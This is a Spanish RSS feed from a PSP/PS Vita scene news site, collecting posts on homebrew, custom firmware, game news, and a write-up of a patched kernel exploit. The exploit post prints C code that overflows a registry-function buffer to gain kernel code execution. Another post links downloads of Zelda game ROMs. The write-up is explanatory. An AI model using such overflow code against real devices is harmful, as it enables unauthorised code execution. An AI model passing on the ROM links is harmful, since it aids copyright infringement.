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> <channel><title>PSPStation &#187; Scene PS Vita</title> <atom:link href="http://www.pspstation.org/portal/categoria/psvita/scene-psvita-psvita/feed/" rel="self" type="application/rss+xml" /><link>http://www.pspstation.org/portal</link> <description>Web de noticias, tutoriales y scene de PS Vita, PS4, PS3, PC.</description> <lastBuildDate>Wed, 19 Jun 2013 15:45:43 +0000</lastBuildDate> <language>es-ES</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=3.5.1</generator> <item><title>Anatomía de un exploit kernel no publicado</title><link>http://www.pspstation.org/portal/anatomia-de-un-exploit-kernel-no-publicado/2013/06/</link> <comments>http://www.pspstation.org/portal/anatomia-de-un-exploit-kernel-no-publicado/2013/06/#comments</comments> <pubDate>Sun, 02 Jun 2013 14:58:50 +0000</pubDate> <dc:creator>walkerdeath</dc:creator> <category><![CDATA[PS Vita]]></category> <category><![CDATA[Scene PS Vita]]></category> <category><![CDATA[exploit]]></category> <category><![CDATA[hack]]></category> <category><![CDATA[kernel]]></category> <category><![CDATA[kernel exploit]]></category> <category><![CDATA[piratear]]></category> <category><![CDATA[ps vita]]></category> <guid
isPermaLink="false">http://www.pspstation.org/portal/?p=48810</guid> <description><![CDATA[<p>¿Cuantas veces habéis oído &#8220;¡los exploit kernel son difíciles de encontrar, los desarrolladores simplemente no pueden publicarlos!&#8221;? Bueno, eso no es del todo cierto, y para probarlo, estoy publicando un bug muy guay que se encontró algunos años atras. Por supuesto, este exploit esta parcheado ahora, no tendría sentido malgastar un exploit kernel perfectamente funcional [...]</p><p>La entrada <a
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style="text-align: center;"><a
href="http://www.pspstation.org/portal/wp-content/uploads/2013/06/ps-vita.png"><img
class="size-full wp-image-48811 aligncenter" alt="ps vita Anatomía de un exploit kernel no publicado" src="http://www.pspstation.org/portal/wp-content/uploads/2013/06/ps-vita.png" width="345" height="200" title="Anatomía de un exploit kernel no publicado" /></a></p><p>La cadena es tan solo el nombre de la categoría que quieres eliminar. En el registro del sistema de PSP, todos los nombres empiezan con un &#8220;/&#8221;, y sceRegRemoveCategory comprueba únicamente eso. El primer carácter de la cadena.</p><p>Realmente, también comprueba si la cadena que está se encuentra en el espacio kernel, pero no nos preocupamos por eso en este caso.</p><p>RemoveCategory aloja 0x1B (27) bytes en la pila, y entonces llama una subrutina que básicamente copia nuestra cadena en ese espacio&#8230; ¡Pero no comprueba la longitud de nuestra cadena!</p><p>¿Veis el problema aquí? Podemos desbordar fácilmente ese buffer dando una cadena que se parezca a esto `/&lt;27+ caracteres aleatorios&gt;´. La dirección devuelta está almacenada 0&#215;54 (90) bytes después en la pila, así que podemos simplemente reescribirlo y esperar a sceRegRemoveCategory a que lo regrese, incluso con un error, no nos importa.</p><p>tl;dr, aquí hay un retazo de código, callback_addr es la dirección de la función que quieres ejecutar con permisos kernel.</p><blockquote><pre>char rmc_stack[0x5A];
 struct RegParam exp_params;
 REGHANDLE exp_handle;
 memset(&amp;exp_params, 0, sizeof(exp_params));
 exp_params.regtype = 1;
 exp_params.unk2 = 1;
 exp_params.unk3 = 1;
 exp_params.namelen = strlen("/system");
 strcpy(exp_params.name, "/system");
 if(!sceRegOpenRegistry(&amp;exp_params, 2, &amp;exp_handle)) //Need a valid registry handle to continue
 {
   memset(rmc_stack, 'X', 0x5A); //Fill the string with crap
   rmc_stack[0] = '/'; //This is enough to fool registry...
   rmc_stack[0x5A - 1] = 0;
   rmc_stack[0x5A - 2] = (callback_addr &gt;&gt; 24) &amp; 0xFF;
   rmc_stack[0x5A - 3] = (callback_addr &gt;&gt; 16) &amp; 0xFF;
   rmc_stack[0x5A - 4] = (callback_addr &gt;&gt; 8) &amp; 0xFF;
   rmc_stack[0x5A - 5] = callback_addr &amp; 0xFF;
   sceRegRemoveCategory(exp_handle, rmc_stack); //;)
 }</pre></blockquote><p>Como ya he dicho, esto está parcheado hoy día (creo que fue parcheado en la última actualización de PSV, no estoy seguro), pero esto no significa que no puedas crear un kernel exploit, quizá en otro firmware mas viejo, como ejercicio.</p><p>Estoy honestamente sorprendido de que le tomara tanto tiempo a Sony para parchear esto, especialmente cuando hicieron el mismo error en loadexec, atras en 2.50 (iirc).</p><p>Esto muestra cómo de fácil es romper la seguridad del pspemu, quizá es hora de poner nuestros conocimientos en <a
href="http://wololo.net/2012/09/05/usermode-vita-loader-devs-needed/">algo mas interesante</a>&#8230;</p><p>Fuente: wololo</p><p>&nbsp;</p><p>La entrada <a
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isPermaLink="false">http://www.pspstation.org/portal/?p=48322</guid> <description><![CDATA[<p>Todos sabemos ya que hay varios juegos de la mítica Game Boy Advance que no funcionan, por lo menos, en el exploit del Apache, y no son juegos comunes, son juegos que todos amamos ¿Sabéis ya de que juegos hablo? Deberíais, está en el título de la noticia. De todas formas, si no es así, [...]</p><p>La entrada <a
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href="http://www.pspstation.org/portal">PSPStation</a>.</p>]]></description> <content:encoded><![CDATA[<p>Todos sabemos ya que hay varios juegos de la mítica Game Boy Advance que no funcionan, por lo menos, en el exploit del Apache, y no son juegos comunes, son juegos que todos amamos ¿Sabéis ya de que juegos hablo? Deberíais, está en el título de la noticia. De todas formas, si no es así, me refiero a los Zelda. Debido a un problema en los datos guardados no se podía jugar a estos fantásticos juegos en la PS Vita, por lo menos con exploit Apache Overkill en el OFW 2.06, pero gracias a el usuario <strong>kamui31 </strong>todos podremos volver a disfrutar del <strong>Zelda &#8211; The minish cap</strong> y el <strong>Zelda &#8211; A link to the past</strong>, viniendo este último en conjunto con el <strong>Zelda &#8211; The four swords</strong> (que no estoy muy seguro de que sea jugable, debido a que requiere conectar conectar varias personas a la vez y dudo que se pueda hacer esto con la PS Vita).</p><p
style="text-align: center;">::imagenes::</p><p
style="text-align: center;"><a
href="http://www.pspstation.org/portal/wp-content/uploads/2013/05/alttp11.jpg"><img
class="size-full wp-image-48323 aligncenter" alt="alttp11 Zelda funcionando en la PS Vita con exploit Apache 2.06" src="http://www.pspstation.org/portal/wp-content/uploads/2013/05/alttp11.jpg" width="318" height="274" title="Zelda funcionando en la PS Vita con exploit Apache 2.06" /></a> <a
href="http://www.pspstation.org/portal/wp-content/uploads/2013/05/The-Legend-of-Zelda-The-Minish-Cap.jpg"><img
class="size-large wp-image-48324 aligncenter" alt="The Legend of Zelda The Minish Cap 500x399 Zelda funcionando en la PS Vita con exploit Apache 2.06" src="http://www.pspstation.org/portal/wp-content/uploads/2013/05/The-Legend-of-Zelda-The-Minish-Cap-500x399.jpg" width="500" height="399" title="Zelda funcionando en la PS Vita con exploit Apache 2.06" /></a> <a
href="http://www.pspstation.org/portal/wp-content/uploads/2013/05/Zelda4swordsGP.jpg"><img
class="size-large wp-image-48325 aligncenter" alt="Zelda4swordsGP 500x336 Zelda funcionando en la PS Vita con exploit Apache 2.06" src="http://www.pspstation.org/portal/wp-content/uploads/2013/05/Zelda4swordsGP-500x336.jpg" width="500" height="336" title="Zelda funcionando en la PS Vita con exploit Apache 2.06" /></a></p><p
style="text-align: center;">::descarga::</p><p
style="text-align: left;">Descargar: <a
href="http://www.mediafire.com/download.php?f9mns7ercse002h">Zelda &#8211; The minish cap</a></p><p
style="text-align: left;">Descargar: <a
href="http://www.mediafire.com/download.php?psj60d395r2k425">Zelda &#8211; A link to the past</a></p><p
style="text-align: center;">::instalacion::</p><p
style="text-align: left;">Para poder usar estos juegos basta con meterlos dentro de la carpeta ROM en vuestro emulador de GBA como si fuera otro juego cualquiera, a excepción de que el Zelda &#8211; The minish cap hay que descomprimirlo antes. Si necesitáis el emulador o queréis que suba un INSTALL.ZIP preparado ya para instalar desde vuestro VHBL el emulador con los dos juegos tan solo pedirlo en los comentarios y gustosamente lo subiré para que os sea mas comodo.</p><p
style="text-align: left;">Por si aún no quedaba claro, ni yo ni PSPStation apoyamos a la piratería, si no tienes el juego original por favor no descargues este backup.</p><p
style="text-align: left;">Para acabar quiero recordar que le agradezco infinitamente al usuario <strong>kamui31</strong> por este gran aporte, por encontrar la solución al problema de los datos guardados y por querer compartirlo con todos nosotros, espero que lo apreciéis tanto como yo, que se lo agradezcáis tanto como yo lo he hecho y que lo disfrutéis incluso mas que yo, si cabe.</p><p
style="text-align: left;"><p>La entrada <a
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isPermaLink="false">http://www.pspstation.org/portal/?p=48289</guid> <description><![CDATA[<p>Wololo ha actualizado su juego Wagic: The Homebrew a la versión 0.19.0. Juego de cartas para PSP inspirado en el clásico juego de misma temática Magic: The Gathering. Wagic: The Homebrew es un juegos de cartas de fantasía heroica, en el cual luchas como un mago contra la computadora. Es inspirado en el juego de [...]</p><p>La entrada <a
href="http://www.pspstation.org/portal/juego-homebrew-wagic-the-homebrew-v0-19-0/2013/05/">[Juego-Homebrew] Wagic: The Homebrew v0.19.0</a> aparece primero en <a
href="http://www.pspstation.org/portal">PSPStation</a>.</p>]]></description> <content:encoded><![CDATA[<p>Wololo ha actualizado su juego <strong>Wagic: The Homebrew</strong> a la versión 0.19.0. Juego de cartas para PSP inspirado en el clásico juego de misma temática Magic: The Gathering.</p><p>Wagic: The Homebrew es un juegos de cartas de fantasía heroica, en el cual luchas como un mago contra la computadora. Es inspirado en el juego de cartas ya hecho un clásico llamado Magic: The Gathering. Según ganas batallas, desbloqueas nuevos modos de juego y ganas créditos que permiten mejorar tu armamento. Wagic es creada para la comunidad, enteramente personalizable (puedes crear temas, mods, hasta nuevas reglas); es open source (código fuente libre). Además de la versión para Sony PSP, existe para Windows, Linux, y N900 (maemo), iOS y Android.</p><p
style="text-align: center;"><a
href="http://www.pspstation.org/portal/wp-content/uploads/2013/05/kaioshin_chandra.jpg"><img
alt="kaioshin chandra [Juego Homebrew] Wagic: The Homebrew v0.19.0" src="http://www.pspstation.org/portal/wp-content/uploads/2013/05/kaioshin_chandra.jpg" width="430" height="260" title="[Juego Homebrew] Wagic: The Homebrew v0.19.0" /></a></p><h2>Novedades de la versión 0.19.0 de Wagic:</h2><ul><li>Hay un montón de nuevas cartas, ahora el juego da soporte a 10.400 cartas únicas en el juego (en lugar de las 9.400 del año pasado), para dar un total de 18.000 cartas soportadas (que es cuando se incluyen las reimpresas) en Wagic.</li></ul><ul><li>Se han añadido fuentes en alta resolución en las plataformas que lo soportan. No todo soporta alta resolución todavía, pero lo que está claro es que verás una gran mejora en tu PC, teléfono o tablet. Ahora es posible leer nombres pequeños en las miniaturas de las cartas, en teléfono Android con pantalla decente.</li></ul><ul><li>El “gauntlet mode”, que se ha tenido durante mucho tiempo como un modo del &#8220;código fuente&#8221; para luchar con la IA, ha sido finalmente añadido como parte fundamental del juego. Esto significa que ahora puedes tener torneos de 3, 5, 7 y 13 juegos contra la misma IA, o incluso más torneos donde el ganador se decida cuando haya 2 o 3 torneos de diferencia.</li></ul><ul><li>Nuevas habilidades, con el fin de soportar algunos de los nuevos conjuntos MTG que han sido añadidos. Puedes ver una lista con todas las habilidades, si quieres añadir tus propias cartas, <a
href="http://code.google.com/p/wagic/wiki/CardCode">aquí</a> en la Wiki.</li></ul><ul><li>Me gustaría poder decir que tenemos listo un modo de red, se que xawotihs ha estado trabajando duro en esto, pero todavía está oculto en el código, probablemente, si alguien quiere tener acceso a la Alpha tendrá que compilar su propia versión de Wagic. Al menos se sabe que se está avanzando en este camino.</li></ul><h2>Funcionamiento del juego:</h2><ul><li><span
style="text-decoration: underline;">Navegación general</span>:<br
/> - <b>Círculo</b>: Confirmar Selección.<br
/> - <b>Equis</b>: Cancelar.<br
/> - <b>Start</b>: Abrir menú (para guardar o salir).</li><li><span
style="text-decoration: underline;">Editor de la baraja</span>:<br
/> - <b>Círculo</b>: Añadir/quitar carta de la baraja.<br
/> - <b>Equis</b>: Vender carta.<br
/> - <b>Triangulo</b>: Navegar entre la baraja y la colección.<br
/> - <b>Cuadrado</b>: Muestra ayuda en pantalla/estadísticas.<br
/> - <b>Select</b>: Cambia la velocidad.<br
/> - <b>Start</b>: Guardar o cancelar cambios.<br
/> - <b>L/R</b>: Navegar por las paginas.</li><li><span
style="text-decoration: underline;">Tienda</span>:<br
/> - <b>Círculo</b>: Preguntar precio de la carta, comprar carta.<br
/> - <b>Cuadrado</b>: Preguntar para ver diferentes cartas.<br
/> - <b>Start</b>: Menu de salida (todos los cambios se guardan).</li><li><span
style="text-decoration: underline;">Juego</span>:<br
/> - <b>Círculo apuntando a la carta</b>: Activa la carta (atacar, defender, etc).<br
/> - <b>Círculo apuntando al jugador</b>: Selecciona objetivo.<br
/> - <b>Círculo apuntando al montón de cartas</b>: cambia montón, si puedes hacerlo.<br
/> - <b>Círculo pregunta para interrumpir</b>: No interrumpir.<br
/> - <b>Equis pregunta para interrumpir</b>: Interrumpir.<br
/> - <b>Equis</b>: Cancelar interrupción, ataque o hechizo.<br
/> - <b>L</b>: Abrir/cerrar mano.<br
/> - <b>R</b>: Avanzar a la siguiente ronda.<br
/> - <b>Start</b>: Menú para salir.</li></ul><h2 style="text-align: left;">Instalación de Wagic (en PSP):</h2><p>NOTA: El juego es compatible con PS Vita (eCFW/vHBL).</p><ol><li> Descomprimimos el archivo descargado y lo copiamos a la carpeta PSP/GAME.</li><li> <a
href="http://wagic.googlecode.com/files/core_0190.zip">Descargamos el archivo core_0190.zip</a> y lo copiamos dento de la subcarpeta PSP/GAME/WTH/Res/</li><li> Puedes copiar/pegar tu subcarpeta User/ de la antigua instalación de Wagic para mantener tus cosas.</li></ol><p>[cortar]</p><h2 style="text-align: center;"><a
title="Descargar Wagic: The Homebrew v0.19.0" href="http://wololo.net/files/wagic/WTH_0190_r4789.zip" target="_blank">Descargar Wagic: The Homebrew v0.19.0</a></h2><p>Fuente: Wololo[/cortar]</p><p>La entrada <a
href="http://www.pspstation.org/portal/juego-homebrew-wagic-the-homebrew-v0-19-0/2013/05/">[Juego-Homebrew] Wagic: The Homebrew v0.19.0</a> aparece primero en <a
href="http://www.pspstation.org/portal">PSPStation</a>.</p>]]></content:encoded> <wfw:commentRss>http://www.pspstation.org/portal/juego-homebrew-wagic-the-homebrew-v0-19-0/2013/05/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>El Team PRO y TN trabajan en el sonido de PSX</title><link>http://www.pspstation.org/portal/el-team-pro-y-tn-trabajan-en-el-sonido-de-psx/2013/05/</link> <comments>http://www.pspstation.org/portal/el-team-pro-y-tn-trabajan-en-el-sonido-de-psx/2013/05/#comments</comments> <pubDate>Mon, 13 May 2013 13:16:24 +0000</pubDate> <dc:creator>zheive</dc:creator> <category><![CDATA[Destacado]]></category> <category><![CDATA[PS Vita]]></category> <category><![CDATA[Scene PS Vita]]></category> <category><![CDATA[ark]]></category> <category><![CDATA[liquidzigong]]></category> <category><![CDATA[ps vita]]></category> <category><![CDATA[Sonido en PS1]]></category> <category><![CDATA[Sonido en PSX]]></category> <category><![CDATA[team pro]]></category> <category><![CDATA[Team TN]]></category> <category><![CDATA[TN-V]]></category> <category><![CDATA[wth]]></category> <category><![CDATA[yosh]]></category> <guid
isPermaLink="false">http://www.pspstation.org/portal/?p=48250</guid> <description><![CDATA[<p>Coldbird publicó ayer un artículo en su blog dando algunas buenas noticias que a más de uno le van a alegrar el día, estas fueron sus palabras: Solo quería comentarles un poco lo que está pasando aquí. La razón por la cual estoy escribiendo esto es que he notado una cantidad creciente de donaciones hacia el Team [...]</p><p>La entrada <a
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href="http://www.pspstation.org/portal">PSPStation</a>.</p>]]></description> <content:encoded><![CDATA[<p><b>Coldbird</b> publicó ayer un artículo en su blog dando algunas buenas noticias que a más de uno le van a alegrar el día, estas fueron sus palabras:</p><blockquote><p>Solo quería comentarles un poco lo que está pasando aquí.<br
/> La razón por la cual estoy escribiendo esto es que he notado una cantidad creciente de donaciones hacia el Team PRO, agradezco mucho eso y creo que merecen estar actualizados.<br
/> Nuestro compañero de equipo Yosh, mejor conocido como wth, ha estado trabajando arduamente analizando los últimos Firmwares y porteando ARK. Como algunos ya habrán notado, fue tan gentil de publicar un paquete con ARK compilado para distintos exploits. Espero que disfruten eso.<br
/> Aplaudamos a Yosh, él es ahora el miembro más activo del Team PRO. Liquidzigong y yo estamos muy ocupados con trabajos de tiempo completo <img
title="Sad" alt="icon sad El Team PRO y TN trabajan en el sonido de PSX" src="http://www.pspstation.org/images/smilies/icon_sad.gif" border="0" /><br
/> También note un creciente interés en PRO Online a partir de mensajes recibidos en mi canal de youtube además de muchas donaciones.<br
/> Todos los que estén preocupados por su futuro, permanezcan calmados, voy a seguir actualizándolo cuando salga de mi cargado horario laboral (ahora tengo 3 trabajos distintos en la semana) Por desgracia, debido a temas legales estoy atado a esta vida de 3 trabajos a la semana por otros 5 meses; así que espero que puedan sentarse y esperar hasta entonces.</p><p><b>Cambiando de tema, acá van algunas noticias sobre TN. Todos ustedes han estado pendientes de las noticias sobre TN-V y ARK, especialmente en la parte de PSX en Vita.<br
/> TN y mi equipo finalmente hemos dejado de lado nuestras diferencias compartiendo código para poder proveer diversidad sin sacrificar funcionalidad.<br
/> Bastante gente ha visto mi video de prueba del plugin de sonido de PSX para Vita, en mi ausencia, he puesto el código en las hábiles manos de TN, esperando que pueda pulirlo mientras yo no estoy disponible.</b></p><p>Saludos, Coldbird</p></blockquote><p
style="text-align: center;"><a
href="http://www.pspstation.org/portal/wp-content/uploads/2013/05/psxpsvita.gif"><img
class="aligncenter size-full wp-image-48251" alt="psxpsvita El Team PRO y TN trabajan en el sonido de PSX" src="http://www.pspstation.org/portal/wp-content/uploads/2013/05/psxpsvita.gif" width="430" height="260" title="El Team PRO y TN trabajan en el sonido de PSX" /></a></p><p>Marcado en negrita lo importante: <b>Team PRO y TN unen fuerzas, se acerca el sonido para psx, vuelve Coldbird (???)</b>.</p><p>Vía: PSVitaGen</p><p>La entrada <a
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href="http://www.pspstation.org/portal">PSPStation</a>.</p>]]></content:encoded> <wfw:commentRss>http://www.pspstation.org/portal/el-team-pro-y-tn-trabajan-en-el-sonido-de-psx/2013/05/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>BETA &#8211; TN-C y TN-V para el Apache (OFW 2.02 o menor)</title><link>http://www.pspstation.org/portal/tn-c-y-tn-v-para-apache/2013/05/</link> <comments>http://www.pspstation.org/portal/tn-c-y-tn-v-para-apache/2013/05/#comments</comments> <pubDate>Sat, 11 May 2013 13:51:21 +0000</pubDate> <dc:creator>walkerdeath</dc:creator> <category><![CDATA[PS Vita]]></category> <category><![CDATA[Scene PS Vita]]></category> <category><![CDATA[2.02]]></category> <category><![CDATA[ecfw]]></category> <category><![CDATA[exploit]]></category> <category><![CDATA[kernel exploit]]></category> <category><![CDATA[ps vita]]></category> <category><![CDATA[TN-C]]></category> <category><![CDATA[TN-V]]></category> <guid
isPermaLink="false">http://www.pspstation.org/portal/?p=48222</guid> <description><![CDATA[<p>Los populares TN-C y TN-V de Total_Noob se han portado al reciente exploit de Apache Overkill. Esto es para aquellos de vosotros que tengáis el exploit del Apache Overkill en la 2.02 o menor únicamente. Dejarme empezar el artículo aclarando una cosa confusa; ESTO NO ES LA PUBLICACIÓN DE UN EXPLOIT KERNEL PARA OFW MAYORES [...]</p><p>La entrada <a
href="http://www.pspstation.org/portal/tn-c-y-tn-v-para-apache/2013/05/">BETA &#8211; TN-C y TN-V para el Apache (OFW 2.02 o menor)</a> aparece primero en <a
href="http://www.pspstation.org/portal">PSPStation</a>.</p>]]></description> <content:encoded><![CDATA[<p>Los populares TN-C y TN-V de Total_Noob se han portado al reciente exploit de Apache Overkill. Esto es para aquellos de vosotros que tengáis el exploit del Apache Overkill en la 2.02 o menor únicamente.</p><p
style="text-align: center;"><a
href="http://www.pspstation.org/portal/wp-content/uploads/2013/03/apachemini.png"><img
class="size-full wp-image-46272 aligncenter" title="apachemini" alt="apachemini BETA   TN C y TN V para el Apache (OFW 2.02 o menor)" src="http://www.pspstation.org/portal/wp-content/uploads/2013/03/apachemini.png" width="180" height="183" /></a></p><p>Dejarme empezar el artículo aclarando una cosa confusa; ESTO NO ES LA PUBLICACIÓN DE UN EXPLOIT KERNEL PARA OFW MAYORES DE LA 2.02. Esto es un port del exploit kernel PSPemu (WLAN) que fue publicado en el firmware 2.02 con el UNO y que ahora se ha portado para poder ser usado en el exploit Apache <em>sólo y sólo si</em> estáis en el OFW 2.02 o menor. Esta publicación incluye el port de Total_Noob de los eCFW TN-C y TN-V para vuestro disfrute gracias al usuario wistine.</p><p>Todos los exploits kernel fueron parcheados en el pasado OFW 2.02. Así que si tienes el Apache Overkill en el OFW 2.05-2.06 solo serás capaz de usar el VHBL, lo que significa que no podrás usar el TN-C o TN-V por que requieren un exploit kernel (VHBL es sólo usermode). Recordad que el exploit del Apache Overkill entero fue bloqueado en el OFW 2.10.</p><p>Si aún no habéis echado un vistazo a mi guía para actualizar la Vita a un OFW que no sea el último podéis echarle un vistazo <a
title="Cambiar firmware de PS Vita, conseguir exploits y activarla/enlazarla a cuenta PSN" href="http://www.pspstation.org/portal/firmwares-de-ps-vita-intermedios-para-novatos/2013/04/">aquí</a>. Os explica todos los trucos y pistas sobre la PS Vita. En la guía os explicaré como podéis conseguir aún un juego con exploit mientras tengáis la PS Vita en un firmware bajo y si hiciera falta, a activar/enlazar tu PS Vita de forma que puedas hacer uso de esta publicación de exploit o cualquiera pasada. Asegurate de comprobar en la store que juegos están de vuelta en PSN y si son exploits kernel o usermode solo.</p><p>Ahora, aunque no haya sido capaz de testear esto por mi mismo ya que estoy en la 2.06 todo parece estar en orden. Y mas aún, la única razón por la que esto esta clasificado como BETA es que podría haber algunos bugs imprevistos, pero también podría no haberlos. Sentiros libres de descargarlo abajo, probarlo por vosotros mismos y reportar lo que encontréis en los comentarios. Los datos guardados incluidos en esta publicación son los datos guardados para las versiones EU y US solamente, lo que quizá podría cambiar mas tarde. Como nota final: no olvidéis mantener pulsado el botón R cuando el exploit empiece desde el TN-V.</p><p
style="text-align: center;">::descarga::</p><p>Descarga <a
href="http://www.pspstation.org/downloads.php?do=file&amp;id=1979">aquí</a></p><p
style="text-align: center;">::instalacion::</p><ol><li>Busca el juego que tienes en &#8220;savedatas&#8221; y extrae los datos guardados asociados de &#8220;\PS Vita\PSAVEDATA\XXXXXXXXXXXXXXXX\&#8221;, donde &#8220;XXXXXXXXXXXXXXXX&#8221; es un montón de números aleatorios y letras.</li><li>Obten el 6.60 EBOOT.PBP y copialo a carpeta savedata con el nombre &#8220;660.PBP&#8221; (podéis descargarlo aquí: http://us.playstation.com/support/systemupdates/psp/index.htm).</li><li>Transfierelo a la PS Vita usando el CMA (Open CMA).</li><li>Ejecuta el juego con exploit y manten el botón R mientras el juego está cargando los datos guardados exploiteados.</li><li>Una vez estés dentro del menú recovery selecciona: -&gt;Advanced (avanzado) -&gt; Install 6.60 files (instalar archivos 6.60) [Ya que se necesitan los archivos del OFW orignales, este paso se debe hacer. PERO SOLO UNA VEZ. Si no estás familiarizado con el menú recovery ajusta tan sólo los ajustes recomendados (ver abajo).</li><li>Disfruta del 6.60 TN-V.</li></ol><p>Ajustes del menú recovery recomendados:</p><ul><li><span
style="line-height: 13px;">Skip Sony logo *Recomendado* [Salta el logo de sony cuando arrancas el VSH la primera vez.].</span></li><li>Skip gameboot [Este ajuste te permite saltar la carga de juego cuando ejecutas un juego en el XMB (te ahorra 5 segundos). Esta función está escrita por mi para el Ultimate VSH Menu Final.].</li><li>Hide corrupt icons *Recomendado* [Esta opción oculta las carpetas corruptas de los homebrews de kernel 1.50.].</li><li>Hide MAC address [Oculta la dirección MAC en la información del sistema.].</li><li>Use TN network update *Recomendado* [Esto permite actualizar a la última versión del TN-V seleccionando actualización del sistema en el XMB.].</li><li>Hide PIC0.PNG and PIC1.PNG in game menu [Esta opción te permite ahorrar algunos segundos mientras cargas los juegos.].</li><li>Hide CFW folders [Hace que algunos juegos anti-CFW funcionen.].</li><li>Use extended colors *Romendado* [Esta opción te ofrece mas colores de fondo en el XMB.].</li><li>Use Sony PSP OSK [Te da la posibilidad de disfrutar de la OSK de PSP antigua. También, si usas temas, aparece la OSK personalizada.].</li><li>Use Install Addon *Recomendado* [Ofrece la capacidad de instalar homebrews desde el XMB.].</li><li>Speed up MS access *Recomendado* [Acelera el acceso a la MS usando la caché del sistema.].</li></ul><p>Fuente: wololo</p><p>La entrada <a
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isPermaLink="false">http://www.pspstation.org/portal/?p=48174</guid> <description><![CDATA[<p>Square Enix viene de lanzar las primeras imágenes de Final Fantasy X-2 HD Remaster, un juego que para PS Vita llegará de forma independiente a Final Fantasy X HD Remaster, algo que no sucederá con PlayStation 3, donde en un mismo pack estarán incluidos los dos juegos. Las imágenes están protagonizadas por el trío: Yuna, [...]</p><p>La entrada <a
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href="http://www.pspstation.org/portal">PSPStation</a>.</p>]]></description> <content:encoded><![CDATA[<p>Square Enix viene de lanzar las primeras imágenes de <strong>Final Fantasy X-2 HD Remaster</strong>, un juego que para PS Vita llegará de forma independiente a Final Fantasy X HD Remaster, algo que no sucederá con PlayStation 3, donde en un mismo pack estarán incluidos los dos juegos.</p><p>Las imágenes están protagonizadas por el trío: Yuna, Rikku y Paine, como se puede ver a simple vista, se ha estado trabajando en mejorar la expresión facial además de en la mejora de las texturas de los entornos.</p><p>Final Fantasy X | X-2 HD Remaster saldrá a la venta a finales de este año.</p><h2 style="text-align: center;">Las imágenes de Final Fantasy X-2 HD Remaster</h2><p
style="text-align: center;"><a
href="http://www.pspstation.org/portal/wp-content/uploads/2013/05/Final-Fantasy-X-X-2-HD-Remaster_2013_05-09-13_001.jpg_600.jpg"><img
class="aligncenter size-full wp-image-48175" alt="Final Fantasy X X 2 HD Remaster 2013 05 09 13 001.jpg 600 Final Fantasy X 2 HD Remaster: Imágenes de debut" src="http://www.pspstation.org/portal/wp-content/uploads/2013/05/Final-Fantasy-X-X-2-HD-Remaster_2013_05-09-13_001.jpg_600.jpg" width="600" height="338" title="Final Fantasy X 2 HD Remaster: Imágenes de debut" /></a></p><p
style="text-align: center;"><a
href="http://www.pspstation.org/portal/wp-content/uploads/2013/05/Final-Fantasy-X-X-2-HD-Remaster_2013_05-09-13_002.jpg_600.jpg"><img
class="aligncenter size-full wp-image-48176" alt="Final Fantasy X X 2 HD Remaster 2013 05 09 13 002.jpg 600 Final Fantasy X 2 HD Remaster: Imágenes de debut" src="http://www.pspstation.org/portal/wp-content/uploads/2013/05/Final-Fantasy-X-X-2-HD-Remaster_2013_05-09-13_002.jpg_600.jpg" width="600" height="338" title="Final Fantasy X 2 HD Remaster: Imágenes de debut" /></a></p><p
style="text-align: center;"><a
href="http://www.pspstation.org/portal/wp-content/uploads/2013/05/Final-Fantasy-X-X-2-HD-Remaster_2013_05-09-13_003.jpg_600.jpg"><img
class="aligncenter size-full wp-image-48177" alt="Final Fantasy X X 2 HD Remaster 2013 05 09 13 003.jpg 600 Final Fantasy X 2 HD Remaster: Imágenes de debut" src="http://www.pspstation.org/portal/wp-content/uploads/2013/05/Final-Fantasy-X-X-2-HD-Remaster_2013_05-09-13_003.jpg_600.jpg" width="600" height="338" title="Final Fantasy X 2 HD Remaster: Imágenes de debut" /></a></p><p
style="text-align: center;"><a
href="http://www.pspstation.org/portal/wp-content/uploads/2013/05/Final-Fantasy-X-X-2-HD-Remaster_2013_05-09-13_004.jpg_600.jpg"><img
class="aligncenter size-full wp-image-48178" alt="Final Fantasy X X 2 HD Remaster 2013 05 09 13 004.jpg 600 Final Fantasy X 2 HD Remaster: Imágenes de debut" src="http://www.pspstation.org/portal/wp-content/uploads/2013/05/Final-Fantasy-X-X-2-HD-Remaster_2013_05-09-13_004.jpg_600.jpg" width="600" height="338" title="Final Fantasy X 2 HD Remaster: Imágenes de debut" /></a></p><p
style="text-align: center;"><a
href="http://www.pspstation.org/portal/wp-content/uploads/2013/05/Final-Fantasy-X-X-2-HD-Remaster_2013_05-09-13_005.jpg_600.jpg"><img
class="aligncenter size-full wp-image-48179" alt="Final Fantasy X X 2 HD Remaster 2013 05 09 13 005.jpg 600 Final Fantasy X 2 HD Remaster: Imágenes de debut" src="http://www.pspstation.org/portal/wp-content/uploads/2013/05/Final-Fantasy-X-X-2-HD-Remaster_2013_05-09-13_005.jpg_600.jpg" width="600" height="338" title="Final Fantasy X 2 HD Remaster: Imágenes de debut" /></a></p><p
style="text-align: center;"><a
href="http://www.pspstation.org/portal/wp-content/uploads/2013/05/Final-Fantasy-X-X-2-HD-Remaster_2013_05-09-13_006.jpg_600.jpg"><img
class="aligncenter size-full wp-image-48180" alt="Final Fantasy X X 2 HD Remaster 2013 05 09 13 006.jpg 600 Final Fantasy X 2 HD Remaster: Imágenes de debut" src="http://www.pspstation.org/portal/wp-content/uploads/2013/05/Final-Fantasy-X-X-2-HD-Remaster_2013_05-09-13_006.jpg_600.jpg" width="600" height="338" title="Final Fantasy X 2 HD Remaster: Imágenes de debut" /></a></p><p
style="text-align: center;"><a
href="http://www.pspstation.org/portal/wp-content/uploads/2013/05/Final-Fantasy-X-X-2-HD-Remaster_2013_05-09-13_007.jpg_600.jpg"><img
class="aligncenter size-full wp-image-48181" alt="Final Fantasy X X 2 HD Remaster 2013 05 09 13 007.jpg 600 Final Fantasy X 2 HD Remaster: Imágenes de debut" src="http://www.pspstation.org/portal/wp-content/uploads/2013/05/Final-Fantasy-X-X-2-HD-Remaster_2013_05-09-13_007.jpg_600.jpg" width="600" height="338" title="Final Fantasy X 2 HD Remaster: Imágenes de debut" /></a></p><p
style="text-align: center;"><a
href="http://www.pspstation.org/portal/wp-content/uploads/2013/05/Final-Fantasy-X-X-2-HD-Remaster_2013_05-09-13_008.jpg_600.jpg"><img
